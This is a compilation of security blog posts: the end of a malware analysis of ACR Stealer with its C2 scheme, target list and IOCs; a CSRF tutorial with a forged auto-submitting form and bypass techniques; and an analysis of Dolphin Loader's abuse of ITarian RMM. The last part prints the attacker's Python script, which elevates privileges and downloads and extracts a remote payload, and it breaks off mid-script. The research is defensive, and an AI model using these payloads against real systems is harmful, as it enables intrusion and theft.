Other ACR Stealer’s C2 server information on Steam. All contain the string "t6t"

Figure 17: Other ACR Stealer’s C2 server information on Steam

After retrieving the C2 hostname, the ACR stealer appends specific strings to construct a complete URL, “hxxps://pcvcf[.]xyz/ujs/a4347708-adfb-411c-8f57-c2c166fcbe1d”. This URL then fetches the encoded configuration from the remote server. The configuration data typically contains crucial information, such as target specifics and operational parameters for the stealer. By decoding the C2 from Steam, the stealer can adapt legitimate web services to maintain communications with its C2 server.

Figure 18: Decoded ACR Stealer’s configuration

Except for local text files in paths “Documents” and “Recent, “ ACR Stealer has the following target applications:

Browser: Google Chrome, Google Chrome SxS, Google Chrome Beta, Google Chrome Dev, Google Chrome Unstable, Google Chrome Canary, Epic Privacy Browser, Vivaldi, 360Browser Browser, CocCoc Browser, K-Melon, Orbitum, Torch, CentBrowser, Chromium, Chedot, Kometa, Uran, liebao, QIP Surf, Nichrome, Chromodo, Coowon, CatalinaGroup Citrio, uCozMedia Uran, Elements Browser, MapleStudio ChromePlus, Maxthon3, Amigo, Brave-Browser, Microsoft Edge, Opera Stable, Opera GX Stable, Opera Neon, Mozilla Firefox, BlackHawk, and TorBro.
CryptoWallet: Bitcoin, Binance, Electrum, Electrum-LTC, Ethereum, Exodus, Anoncoin, BBQCoin, devcoin, digitalcoin, Florincoin, Franko, Freicoin, GoldCoin (GLD), GInfinitecoin, IOCoin, Ixcoin, Litecoin, Megacoin, Mincoin, Namecoin, Primecoin, Terracoin, YACoin, Dogecoin, ElectronCash, MultiDoge, com.liberty.jaxx, atomic, Daedalus Mainnet, Coinomi, Ledger Live, Authy Desktop, Armory, DashCore, Zcash, Guarda, WalletWasabi, and Monero.
Messenger: Telegram, Pidgin, Signal, Tox, Psi, Psi+, and WhatsApp.
FTP Client: FileZilla, GoFTP, UltraFXP, NetDrive, FTP Now, DeluxeFTP, FTPGetter, Steed, Estsoft ALFTP, BitKinex, Notepad++ plugins NppFTP, FTPBox, INSoftware NovaFTP, and BlazeFtp.
Email Clients: Mailbird, eM Client, The Bat!, PMAIL, Opera Mail, yMail2, TrulyMail, Pocomail, and Thunderbird.
VPN Service: NordVPN and AzireVPN.
Password Manager: Bitwarden, NordPass, 1Password, and RoboForm.
Other: AnyDesk, MySQL Workbench, GHISLER, Sticky Notes, Notezilla , To-Do DeskList, snowflake-ssh, and GmailNotifierPro.
The following Chrome Extensions:

nphplpgoakhhjchkkhmiggakijnkhfnd	apbldaphppcdfbdnnogdikheafliigcf
fldfpgipfncgndfolcbkdeeknbbbnhcc	ckdjpkejmlgmanmmdfeimelghmdfeobe
omaabbefbmiijedngplfjmnooppbclkk	iodngkohgeogpicpibpnaofoeifknfdo
afbcbjpbpfadlkmhmclhkeeodmamcflc	hnefghmjgbmpkjjfhefnenfnejdjneog
lodccjjbdhfakaekdiahmedfbieldgik	fpcamiejgfmmhnhbcafmnefbijblinff
hcflpincpppdclinealmandijcmnkbgn	egdddjbjlcjckiejbbaneobkpgnmpknp
bcopgchhojmggmffilplmbdicgaihlkp	nihlebdlccjjdejgocpogfpheakkpodb
fhmfendgdocmcbmfikdcogofphimnkno	ilbibkgkmlkhgnpgflcjdfefbkpehoom
kpfopkelmapcoipemfendmdcghnegimn	oiaanamcepbccmdfckijjolhlkfocbgj
fhbohimaelbohpjbbldcngcnapndodjp	ldpmmllpgnfdjkmhcficcifgoeopnodc
cnmamaachppnkjgnildpdmkaakejnhae	mbcafoimmibpjgdjboacfhkijdkmjocd
nlbmnnijcnlegkjjpcfjclmcfggfefdm	jbdpelninpfbopdfbppfopcmoepikkgk
amkmjjmmflddogmhpjloimipbofnfjih	onapnnfmpjmbmdcipllnjmjdjfonfjdm
cphhlgmgameodnhkjdmkpanlelnlohao	cfdldlejlcgbgollnbonjgladpgeogab
kncchdigobghenbbaddojjnnaogfppfj	ablbagjepecncofimgjmdpnhnfjiecfm
jojhfeoedkpkglbfimdfabpdfjaoolaf	fdfigkbdjmhpdgffnbdbicdmimfikfig
ffnbelfdoeiohenkjibnmadjiehjhajb	njojblnpemjkgkchnpbfllpofaphbokk
pdgbckgdncnhihllonhnjbdoighgpimk	hjagdglgahihloifacmhaigjnkobnnih
ookjlbkiijinhpmnjffcofjonbfbgaoc	pnlccmojcmeohlpggmfnbbiapkmbliob
mnfifefkajgofkcjkemidiaecocnkjeh	ljfpcifpgbbchoddpjefaipoiigpdmag
flpiciilemghbmfalicajoolhkkenfel	bhghoamapcdpbohphigoooaddinpkbai
jfdlamikmbghhapbgfoogdffldioobgl	gaedmjdfmmahhbjefcbgaolhhanlaolb
nkbihfbeogaeaoehlefnkodbefgpgknn	imloifkgjagghnncjkhggdhalmcnfklk
aiifbnbfobpmeekipheeijimdpnlpgpp	oeljdldpnmdbchonielidgobddffflal
aeachknmefphepccionboohckonoeemg	ilgcnhelpchnceeipipijaljkblbcobl
hpglfhgfnhbgpjdenjgmdgoeiappafln	nngceckbapebfimnlniiiahkandclblb
nknhiehlklippafakaeklbeglecifhad	oboonakemofpalcgghocfoadofidjkkk
dmkamcknogkgcdfhhbddcghachkejeap	fdjamakpfbbddfjaooikfcpapjohcfmg
jnmbobjmhlngoefaiojfljckilhhlhcj	fooolghllnmhmmndgjiamiiodkpenpbb
klnaejjgbibmhlephnhpmaofohgkpgkd	bfogiafebfohielmmehodmfbbebbbpei
ibnejdfjmmkpcnlpebklmnkoeoihofec	lfochlioelphaglamdcakfjemolpichk
ejbalbakoplchlghecdalmeeeajnimhm	hdokiejnpimakedhajhdlcegeplioahd
kjmoohlgokccodicjjfebfomlbljgfhk	naepdomgkenhinolocfifgehidddafch
fnjhmkhhmkbjkkabndcnnogagogbneec	bmikpgodpkclnkgmnpphehdgcimmided
nhnkbkgjikgcigadomkphalanndcapjk	nofkfblpeailgignhkbnapbephdnmbmn
hnfanknocfeofbddgcijnmhnfnkdnaad	jhfjfclepacoldmjmkmdlmganfaalklb
cihmoadaighcejopammfbmddcmdekcje	chgfefjpcobfbnpmiokfjjaglahmnded
bfnaelmomeimhlpmgjnjophhpkkoljpa	igkpcodhieompeloncfnbekccinhapdb
djclckkglechooblngghdinmeemkbgci	cfhdojbkjhnklbpkdaibdccddilifddb
jiidiaalihmmhddjgbnbgdfflelocpak	kmmkllgcgpldbblpnhghdojehhfafhro
lgmpcpglpngdoalbgeoldeajfclnhafa	ibegklajigjlbljkhfpenpfoadebkokl
egjidjbpglichdcondbcbdnbeeppgdph	ijpdbdidkomoophdnnnfoancpbbmpfcn
flhbololhdbnkpnnocoifnopcapiekdi	llalnijpibhkmpdamakhgmcagghgmjab
kkhmbjifakpikpapdiaepgkdephjgnma	mjdmgoiobnbombmnbbdllfncjcmopfnc
ekkhlihjnlmjenikbgmhgjkknoelfped	dlcobpjiigpikoobohmabehhmhfoodbb
jngbikilcgcnfdbmnmnmnleeomffciml	jnlgamecbpmbajjfhmmmlhejkemejdma
hcjginnbdlkdnnahogchmeidnmfckjom	kbdcddcmgoplfockflacnnefaehaiocb
ogphgbfmhodmnmpnaadpbdadldbnmjji	kgdijkcfiglijhaglibaidbipiejjfdp
hhmkpbimapjpajpicehcnmhdgagpfmjc	epapihdplajcdnnkdeiahlgigofloibg
ojhpaddibjnpiefjkbhkfiaedepjheca	mgffkfbidihjpoaomajlbgchddlicgpn
fmhjnpmdlhokfidldlglfhkkfhjdmhgl	ebfidpplhabeedpnhjnobghokpiioolj
gjhohodkpobnogbepojmopnaninookhj	dngmlblcodfobpdpecaadgfbcggfjfnm
hmglflngjlhgibbmcedpdabjmcmboamo	ldinpeekobnhjjdofggfgjlcehhmanlj
eklfjjkfpbnioclagjlmklgkcfmgmbpg	mdjmfdffdcmnoblignmgpommbefadffd
jbkfoedolllekgbhcbcoahefnbanhhlh	aflkmfhebedbjioipglgcbcmnbpgliof
mcohilncbfahbmgdjkbpemcciiolgcge	dmjmllblpcbmniokccdoaiahcdajdjof
jbdaocneiiinmjbjlgalhcelgbejmnid	lnnnmfcpbkafcpgdilckhmhbkkbpkmid
blnieiiffboillknjnepogjhkgnoapac	odpnjmimokcmjgojhnhfcnalnegdjmdn
cjelfplplebdjjenllpjcblmjkfcffne	bopcbmipnjdcdfflfgjdgdjejmgpoaab
fihkakfobkmkjojpchpfgcmhfjnmnfpi	cpmkedoipcpimgecpmgpldfpohjplkpp
kkpllkodjeloidieedojogacfhpaihoh	khpkpbbcccdmmclmpigdgddabeilkdpd
nanjmdknhkinifnkgdcggcfnhdaammmj	mcbigmjiafegjnnogedioegffbooigli
nkddgncdjgjfcddamfgcmfnlhccnimig	fiikommddbeccaoicoejoniammnalkfa
acmacodkjbdgmoleebolmdjonilkdbch	heefohaffomkkkphnlpohglngmbcclhi
phkbamefinggmakgklpkljjmgibohnba	ocjdpmoallmgmjbbogfiiaofphbjgchh
efbglgofoippbgcjepnhiblaibcnclgk	hmeobnfnfcmdkdcmlblgagmfpfboieaf
lpfcbjknijpeeillifnkikgncikgfhdo	kfdniefadaanbjodldohaedphafoffoh
ejjladinnckdgjemekebdpeokbikhfci	kmhcihpebfmpgmihbkipmjlmmioameka
opcgpfmipidbgpenhmajoajpbobppdil	gafhhkghbfjjkeiendhlofajokpaflmk
aholpfdialjgjfhomihkjbmgjidlcdno	kglcipoddmbniebnibibkghfijekllbl
onhogfjeacnfoofkfgppdlbmlmnplgbn	iokeahhehimjnekafflcihljlcjccdbe
mopnmbcafieddcagagdcbnhejhlodfdd	idnnbdplmphpflfnlkomgpfbpcgelopg
fijngjgcjhjmmpcmkeiomlglpeiijkld	kmphdnilpmdejikjdnlbcnmnabepfgkh
hifafgmccdpekplomjjkcfgodnhcellj	cgeeodpfagjceefieflmdfphplkenlfk
ijmpgkjfkbfhoebgogflfebnmejmfbm	pdadjkfkgcafgbceimcpbkalnfnepbnk
lkcjlnjfpbikmcmbachjpdbijejflpcm	odbfpeeihdkbihmopkbjmoonfanlbfcl
onofpnbbkehpmmoabgpcpmigafmmnjh	fhilaheimglignddkjgofkcbgekhenbh
dkdedlpgdmmkkfjabffeganieamfklkm	aodkkagnadcbobfpggfnjeongemjbjca
nlgbhdfgdhgbiamfdfmbikcdghidoadd	dngmlblcodfobpdpecaadgfbcggfjfnm
infeboajgfhgbjpjbeppbkgnabfdkdaf	lpilbniiabackdjcionkobglmddfbcjo
ppbibelpcjmhbdihakflkdcoccbgbkpo	bhhhlbepdkbapadjdnnojkbgioiodbic
klghhnkeealcohjjanjjdaeeggmfmlpl	jnkelfanjkeadonecabehalmbgpfodjm
enabgbdfcbaehmbigakijjabdpdnimlg	jgaaimajipbpdogpdglhaphldakikgef
mmmjbcfofconkannjonfmjjajpllddbg	kppfdiipphfccemcignhifpjkapfbihd
bifidjkcdpgfnlbcjpdkdcnbiooooblg	loinekcabhlmhjjbocijdoimmejangoa
nebnhfamliijlghikdgcigoebonmoibm	anokgmphncpekkhclmingpimjmcooifb
fcfcfllfndlomdhbehjjcoimbgofdncg	cnncmdhjacpkmjmkcafchppbnpnhdmon
ojggmchlghnjlapmfbnjholfjkiidbch	mkpegjkblkkefacfnmkajcjmabijhclg

Conclusion

This campaign primarily targets CVE-2024-21412 to spread LNK files for downloading execution files that embed HTA script code within their overlays. The HTA script runs silently, avoiding any pop-up windows, and clandestinely downloads two files: a decoy PDF and an execution file designed to inject shell code, setting the stage for the final stealers.

To mitigate such threats, organizations must educate their users about the dangers of downloading and running files from unverified sources. Continuous innovation by threat actors necessitates a robust and proactive cybersecurity strategy to protect against sophisticated attack vectors. Proactive measures, user awareness, and stringent security protocols are vital components in safeguarding an organization’s digital assets.

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus:

LNK/Agent.OQ!tr
LNK/Agent.BNE!tr
LNK/Agent.ACX!tr
W32/Agent.DAT!tr
W64/Agent.EDE6!tr
W32/Agent.AAN!tr
W64/Agent.A8D2!tr

The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.

FortiGuard Labs provides IPS signature against attacks exploiting CVE-2024-21412:

MS.Windows.SmartScreen.CVE-2024-21412.Security.Feature.Bypass

We also suggest that organizations go through Fortinet’s free NSE training module: NSE 1 – Information Security Awareness. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

IP Addresses

62[.]133[.]61[.]26

62[.]133[.]61[.]43

5[.]42[.]107[.]78

Hostnames

21centuryart[.]com

scratchedcards[.]com

proffyrobharborye[.]xyz

answerrsdo[.]shop

pcvcf[.]xyz

pcvvf[.]xyz

pdddk[.]xyz

pdddj[.]xyz

pddbj[.]xyz

pbpbj[.]xyz

pbdbj[.]xyz

ptdrf[.]xyz

pqdrf[.]xyz

Files

e15b200048fdddaedb24a84e99d6d7b950be020692c02b46902bf5af8fb50949

547b6e08b0142b4f8d024bac78eb1ff399198a8d8505ce365b352e181fc4a544

bd823f525c128149d70f633e524a06a0c5dc1ca14dd56ca7d2a8404e5a573078

982338768465b79cc8acd873a1be2793fccbaa4f28933bcdf56b1d8aa6919b47

bc6933a8fc324b907e6cf3ded3f76adc27a6ad2445b4f5db1723ac3ec86ed10d

59d2c2ca389ab1ba1fefa4a06b14ae18a8f5b70644158d5ec4fb7a7eac4c0a08

8568226767ac2748eccc7b9832fac33e8aa6bfdc03eafa6a34fb5d81e5992497

4043aa37b5ba577dd99f6ca35c644246094f4f579415652895e6750fb9823bd9

0604e7f0b4f7790053991c33359ad427c9bf74c62bec3e2d16984956d0fb9c19

8c6d355a987bb09307e0af6ac8c3373c1c4cbfbceeeb1159a96a75f19230ede6

de6960d51247844587a21cc0685276f966747e324eb444e6e975b0791556f34f

6c779e427b8d861896eacdeb812f9f388ebd43f587c84a243c7dab9ef65d151c

08c75c6a9582d49ea3fe780509b6f0c9371cfcd0be130bc561fae658b055a671

abc54ff9f6823359071d755b151233c08bc2ed1996148ac61cfb99c7e8392bfe

643dde3f461907a94f145b3cd8fe37dbad63aec85a4e5ed759fe843b9214a8d2

CSRF simplified: A no-nonsense guide to Cross-Site Request Forgery

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Cross-Site Request Forgery (CSRF) is a serious web security vulnerability that allows attackers to exploit active sessions of targeted users to perform privileged actions on their behalf. Depending on the relevancy of the action and the permissions of the targeted user, a successful CSRF attack may result in anything from minor integrity impacts to a complete compromise of the application.

CSRF attacks can be delivered in various ways, and there are multiple defenses against them. At the same time, there are also many misconceptions surrounding this type of attack. Despite being a well-known vulnerability, there’s a growing tendency to rely too heavily on automated solutions and privacy-enhancing defaults in modern browsers to detect and prevent this issue. While these methods can mitigate exploitation in some cases, they can foster a false sense of security and don’t always fully address the problem.

It’s time to shatter the uncertainties surrounding CSRF once and for all. We’ll outline its fundamentals, attack methods, defense strategies, and common misconceptions – all with accompanied examples.

Cross-Site Request Forgery simplified

CSRF allows adversary-issued actions to be performed by an authenticated victim. A common example, given no implemented controls, involves you being logged into your bank account and then visiting an attacker-controlled website. Without your knowledge, this website submits a request to transfer funds from your account to the attacker’s using a hidden form.

Because you’re logged in on the bank application, the request is authenticated. This happens because the attacker crafted a request that appeared to originate from your browser, which automatically included your authentication credentials.

Assume that the simplified request below is sent when a fund transfer is made to an intended recipient:

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]

amount=100&toUser=intended

To forge this request, an attacker would host the following HTML on their page:

<html>
    <body>
        <form action="vulnerable bank/transfer" method="POST">
            <input type="hidden" name="amount" value="5000"/>
            <input type="hidden" name="toUser" value="attacker"/>
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

This creates a hidden form on the attacker’s page. When visited by an authenticated victim, it triggers the victim’s browser to issue the request below with their session cookie, resulting in an unintended transfer to the attacker’s account:

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token> (automatically included by the browser)
[...]

amount=5000&toUser=attacker

For this scenario to be possible, two conditions must be met:

1. The attacker must be able to determine all parameters and their corresponding values that are needed to perform a sensitive action. In the above scenario, only two are present: “amount” and “toUser”. An attacker can easily determine these by, for example, observing a legitimate outgoing request from their own account. The parameters’ values cannot hence be set to something unknown or unpredictable.

2. The victim’s browser must automatically include their authentication credentials. In our scenario, the bank application maintains an authenticated state using the “session” cookie. Controlling flags can be set on cookies to prevent them from being automatically included by requests issued cross-site, but more on this later.

This is the entire foundation for CSRF vulnerabilities. In a real-world scenario, performing sensitive actions would most likely not be possible with a request this simplified, as various defenses can prevent any or both conditions from being met.

CSRF defenses and bypasses

Understanding the two necessary conditions for CSRF, we can explore the most common defenses and how these can be circumvented if implemented incorrectly.

CSRF tokens

CSRF tokens are a purposeful defense aimed at preventing the condition of predictability. A CSRF token is simply an unpredictable value, tied to the user’s session, that is included in the request to validate an action – a value not known to the attacker.

Added to our fund transfer request, it would look as follows:

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]

amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024

Already here, we can get an implementation fault out of the way:

Fault 1

If a security control relies on a value that is intended to be unknown to attackers, then proper measures are required to prevent disclosing the value, as well as to stop attackers from deducing or brute-forcing it.

To ensure the token’s unpredictability, it must be securely generated with sufficient entropy.

Primarily, an application transmits CSRF tokens in two ways: synchronizer token patterns and double-submit cookie patterns.

Synchronizer token patterns

In a synchronized token pattern, the server generates a CSRF token and shares it with the client before returning it, usually through a hidden form parameter for the associated action, such as:

[…]
<input required type="hidden" name="csrf" value="o24b65486f506e2cd4403caf0d640024">
[…]

On form submission, the server checks the CSRF token against one stored in the user’s session. If they match, the request is approved; otherwise, it’s rejected.

Fault 2

Failing to validate the CSRF token received from the client against the expected token stored in the user’s session enables an attacker to use a valid token from their own account to approve the request.

Observation

Keep in mind that even if the token is securely generated and validated, having it within the HTML document will leave it accessible to cross-site scripting and other vulnerabilities that can exfiltrate parts of the document, such as dangling markup and CSS injection.

If it’s also returned to the server as a request parameter, as in the example above, then an exfiltrated token can be easily added to a forged request. To prevent this, CSRF tokens can be returned as custom request headers.

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
X-ANTI-CSRF: o24b65486f506e2cd4403caf0d640024
[...]

amount=100&toUser=intended

This way, it will not be possible to send them cross-origin without a permissive CORS implementation. This is thanks to the same-origin policy, which prevents browsers from sending custom headers cross-origin.

Nonetheless, this method is uncommon, as it restricts the application to sending CSRF protected requests using AJAX.

In a double-submit cookie pattern, the server generates the token and sends it to the client in a cookie. Then the server only needs to verify that its value matches one sent in either a request parameter or header. This process is stateless, as the server doesn’t need to store any information about the CSRF token.

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>; anti-csrf=o24b65486f506e2cd4403caf0d640024
[...]

amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024

Fault 3

The issue arises when an attacker can overwrite the cookie value with their own, for example, through a response header injection or a taken-over subdomain. This allows them to use their own value in the token sent amongst the request parameters.

To mitigate this, it’s recommended to cryptographically sign the CSRF token using a secret known only to the server. This implementation is referred to as a signed double-submit cookie.

SameSite cookies

SameSite is an attribute that can be set on cookies to control how they are sent with cross-site requests. The values that the attribute can be given are ‘Strict’, ‘Lax’ and ‘None’.

[…]
Set-Cookie: session=O24LlkOLowhfxJ9hkUCfw4uZ6cSrFvUE; SameSite=Strict|Lax|None
[…]

Strict

When the SameSite attribute is set to ‘Strict’, the browser will only send the cookie for same-site requests. This means that the cookie will not be sent along with requests initiated from a different site, preventing our second CSRF condition: the victim’s browser automatically including their authentication credentials.

Figure 1 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ setting

The only way around this would be if the attacker could somehow get the application to trigger a forged request to itself.

Fault 4

Consider that the application features some JavaScript for initiating client-side requests, such as a redirect that also accepts user input to determine its location. If an attacker could supply a URL with a state-changing action to this feature, the state-changing action would be sent within the same-site context, as it would be redirected from the application itself.

Figure 2 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ setting

Figure 3 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as the action was sent within the same-site context via the client-side redirect

As demonstrated in figures 2-3, delivering the state-changing action directly to the victim results in the request being denied. However, including the action within a client-side redirect beforehand bypasses the protection offered by ‘SameSite=Strict’ cookies. Be cautious of client-side features like this in your codebase. It’s also not impossible that these may directly include CSRF tokens, rendering even synchronizer-token defenses ineffective.

To emphasize, this only works with client-side / DOM-based redirects. A state-changing action passed through a traditional 302 server-side redirect with a set “Location” header wouldn’t be treated as same-site. Welcome to the era of “client-side CSRF”.

Observation

What if the application lacks abusable client-side code but is vulnerable to direct JavaScript injection, meaning there is a cross-site scripting (XSS) vulnerability?

I’ve seen multiple claimed “XSS to CSRF” chains and scenarios, often implying that the former enables the latter, but this is incorrect.

If an attacker has control over the JavaScript, then they also have control over same-site request sending. This means that any forged requests via an XSS vulnerability will result in these requests originating from the application. Cross-site request sending at this point is not needed nor enabled.

Being vulnerable to XSS is a bigger problem.

Even with synchronizer tokens in place, an attacker can use the injected JavaScript to simply read the tokens and use them in same-site AJAX requests.

Keep in mind that although the targeted application is free from abusable client-side code and XSS vulnerabilities, these issues can still exist on subdomains and different ports. Requests from these sources will be same-site even though they are not same-origin.

Lax

When the SameSite attribute is set to Lax, the browser will send the cookie for same-site requests and cross-site requests that are considered “safe”. These are GET requests initiated by a user’s top-level navigation (e.g., clicking on a hyperlink). The cookie will not be sent for cross-site requests initiated by third-party sites, such as POST requests via AJAX.

This means that similarly to ‘Strict’, ‘Lax’ would also deny the following scenario:

Figure 4 – adversary-issued POST action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Lax’ setting

But, in contrast, it would allow:

Figure 5 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as it was a GET request initiated by a user’s top-level navigation

Fault 5

As with ‘Strict’, we must be cautious of all client-side JavaScript functionalities, but also any state-changing actions that can be performed via the GET request method. During testing, we find it common that the request method can simply be rewritten into a GET from a POST, rendering any ‘SameSite=Lax’ protections ineffective, provided that no other CSRF defenses are in place.

The “Lax + POST” intervention

Chrome automatically sets the SameSite attribute to ‘Lax’ for cookies that don’t have this attribute explicitly defined. Compared to a manually set ‘Lax’ value, Chrome’s defaulting to ‘Lax’ comes with temporary exception: a two-minute time window where cross-site POST requests are permitted. This intervention is to account for some POST-based login flows, such as certain single sign-on implementations.

Fault 6

If both the attacker and the targeted victim act quickly on a “Lax + POST” intervention, exploitation becomes possible within this brief time window.

A more realistic scenario, however, would be if the attacker somehow could force the application to first issue the victim a new cookie, renewing the two-minute window, and then incorporating the renewal into a regular cross-site POST exploit.

None

Setting the SameSite attribute to ‘None’ allows the cookie to be sent with all requests, including cross-site requests. While there are valid reasons to set a ‘None’ value, protecting against CSRF attacks is not one of them. Exercise caution when using ‘None’ values in this context.

Note that for ‘None’ to be explicitly set, the secure attribute must also be set on the cookie.

The Abuse of ITarian RMM by Dolphin Loader

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Dolphin Loader

A few days ago I was looking at the sample from Dolphin Loader and couldn’t understand for awhile how it was able to retrieve the final payload because the payload was not able to fully complete the execution chain. Recently someone sent me a fresh working sample, so I had a little “hell yeah!” moment.

Before looking into the abuse of ITarian RMM software, we should talk a little bit about Dolphin Loader.

Dolphin Loader is a new Malware-as-a-Service loader that first went on sale in July 2024 on Telegram. The loader has been observed to deliver various malware such as SectopRAT, LummaC2 and Redline via drive-by downloads.

The Dolphin Loader claims to bypass SmartScreen because it is signed with an EV (Extended Validation) certificate, Chrome alert and EDR. The seller also offers EasyCrypt services for LummaC2 Stealer users. EasyCrypt, also known as EasyCrypter, is a crypter service sold on Telegram for x86 .NET/Native files. I previously wrote a Yara rule for the crypter for UnprotectProject, which you can access here.

The loader has the following pricing:

3 slots MSI (Weekly access) – $1800
2 slots MSI (Monthly access) – $5400
1 slot EXE (Monthly access) – $7200

The executable files are highly priced compared to MSI packaging files. What makes executable file more attractive is likely that executable files can be easily packed and compressed compared to MSI files and that users are more accustomed to executable files. The familiarity can make users more likely to trust and execute an an executable file, even if it is from an untrusted source. Also, executables files are standalone and can be executed directly without requiring any additional software or scripts.

Some of the Dolphin Loader payloads currently have zero detections on VirusTotal. Why? Because it uses legitimate, EV-signed remote management software to deliver the final payload. This approach is very convenient for the loader’s developer because it eliminates the need to obtain an EV certificate and end up paying a significant amount of money out-of-pocket. Leveraging legitimate RMM software to deliver malware also offers numerous advantages:

Since RMM tools are meant to run quietly in the background because they monitor and manage systems, malware leveraging these tools can operate stealthily, avoiding detection by users.
RMM tools already include features for remote command or script execution, system monitoring, and data exfiltration. Attackers can use these built-in functionalities to control compromised systems.
Organizations trust their RMM solutions for IT operations. This trust can be exploited by attackers to deliver malware without raising immediate suspicion from users or IT staff.

The Abuse of ITarian RMM

Initially I was going with the theory of the DLL side-loading with the MSI payload (MD5: a2b4081e6ac9d7ff9e892494c58d6be1) and specifically with the ITarian agent but had no luck of finding the tampered file. So, the second theory is that the loader is leveraging an RMM software based on the process tree from one of the public samples.

So, the sample provided to me, helped to confirm the second theory because the threat actor used the same name richardmilliestpe for the MSI payload distribution link and for the RMM instance:

Distribution link:
hxxps://houseofgoodtones.org/richardmilliestpe/Aunteficator_em_BHdAOse8_installer_Win7-Win11_x86_x64[.]msi
RMM instance: richardmilliestpe.itsm-us1.comodo[.]com

Out of curiosity, I decided to get the ITarian RMM, which is available for free but with limited functionalities (just the one that we need 🙂 ). We are particularly interested in Procedures. In ITarian endpoint management you can create a custom procedure to run on the registered devices.

Then you can leverage Windows Script Procedure option to create a custom script. The purpose of my script was to pop the calculator up. Based from my observation, the script can only be written in Python. I did not see the PowerShell option available but you can leverage Python to run PowerShell scripts.

You can then configure when you would want the script to run – one time, daily, weekly or monthly. The “Run this procedure immediately when the profile is assigned to a new device” option is likely what the threat actor had.

After setting the script up successfully and assigning it to the proper group or customer, I went ahead and retrieved the link to download an MSI installer for ITarian RMM client via device enrollment option.

The downloaded MSI file would be approximately 96MB in size and the naming convention would be similar to the following, where “raeaESpJ” is the token value:

em_raeaESpJ_installer_Win7-Win11_x86_x64

After the successful installation of the software, the dependencies and files will be dropped under either C:\Program Files (x86)\ITarian or C:\Program Files\COMODO, the token.ini file (the file is deleted after successfully retrieving the instance address) contains the token value that the client will use to obtain the instance address, for example zeus14-msp.itsm-us1.comodo.com (from the testing case above).

For blue teamers while looking for suspicious activities for ITarian RMM client, you should look for the contents of the RmmService.log file under ITarian\Endpoint Manager\rmmlogs or COMODO\Endpoint Manager\rmmlogs. The log file would provide great insights into what procedures or scripts were ran on the host and their configurations.

From the screenshot above we can see the repeat: NEVER, which means that the script will only run one time when the endpoint device is enrolled.

Now let’s inspect the log file from our malicious sample. We can see two scripts present.

The first script is named “st3”, executes only once – when the device is first registered.

msgScheduledTaskList {
  scheduledTaskId: "scheduled_5"
  msgSchedule {
    repeat: NEVER
    start: 1723161600
    time: "17:15"
  }
  msgProcedureSet {
    procedureSetId: "473"
    alertHandlerId: "1"
    msgProcedureList {
      procedureId: "473"
      pluginType: Python_Procedure
      msgProcedureRule {
        name: "st3"
        script: "import os\nimport urllib\nimport zipfile\nimport subprocess\nimport time\nimport shutil\nimport ctypes\nimport sys\n\nclass disable_file_system_redirection:\n    _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n    _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n    def __enter__(self):\n        self.old_value = ctypes.c_long()\n        self.success = self._disable(ctypes.byref(self.old_value))\n\n    def __exit__(self, type, value, traceback):\n        if self.success:\n            self._revert(self.old_value)\n\ndef is_admin():\n    try:\n        return ctypes.windll.shell32.IsUserAnAdmin()\n    except:\n        return False\n\ndef run_as_admin(command, params):\n    try:\n        if not is_admin():\n            # Restart the script with admin rights\n            params = \' \'.join(params)\n            print(\"Restarting script with admin rights...\")\n            ctypes.windll.shell32.ShellExecuteW(None, \"runas\", command, params, None, 1)\n            sys.exit(0)\n        else:\n            print(\"Running command with admin rights:\", command, params)\n            result = subprocess.call([command] + params, shell=True)\n            if result != 0:\n                print(\"Command failed with return code:\", result)\n            else:\n                print(\"Command executed successfully.\")\n    except Exception as e:\n        print(\"Failed to elevate to admin. Error:\", e)\n        sys.exit(1)\n\ndef download_file(url, save_path):\n    try:\n        request = urllib.urlopen(url)\n        with open(save_path, \'wb\') as f:\n            while True:\n                chunk = request.read(100 * 1000 * 1000)\n                if not chunk:\n                    break\n                f.write(chunk)\n        print(\"File downloaded successfully and saved to {}.\".format(save_path))\n        # Check file size\n        file_size = os.path.getsize(save_path)\n        print(\"Downloaded file size: {} bytes.\".format(file_size))\n    except Exception as e:\n        print(\"Error downloading file: \", e)\n        sys.exit(1)\n\ndef unzip_file(zip_path, extract_to):\n    try:\n        with disable_file_system_redirection():\n            with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n                zip_ref.extractall(extract_to)\n                print(\"File extracted successfully to {}\".format(extract_to))\n    except zipfile.BadZipFile:\n        print(\"File is not a valid zip file\")\n    except Exception as e:\n        print(\"Error extracting file: \", e)\n        sys.exit(1)\n\ndef cleanup(file_path, folder_path):\n    try:\n        if os.path.exists(file_path):\n            os.remove(file_path)\n            print(\"Removed file: {}\".format(file_path))\n        if os.path.exists(folder_path):\n            shutil.rmtree(folder_path)\n            print(\"Removed folder: {}\".format(folder_path))\n    except Exception as e:\n        print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n    command = sys.executable\n    params = sys.argv\n\n    run_as_admin(command, params)\n\n    zip_url = 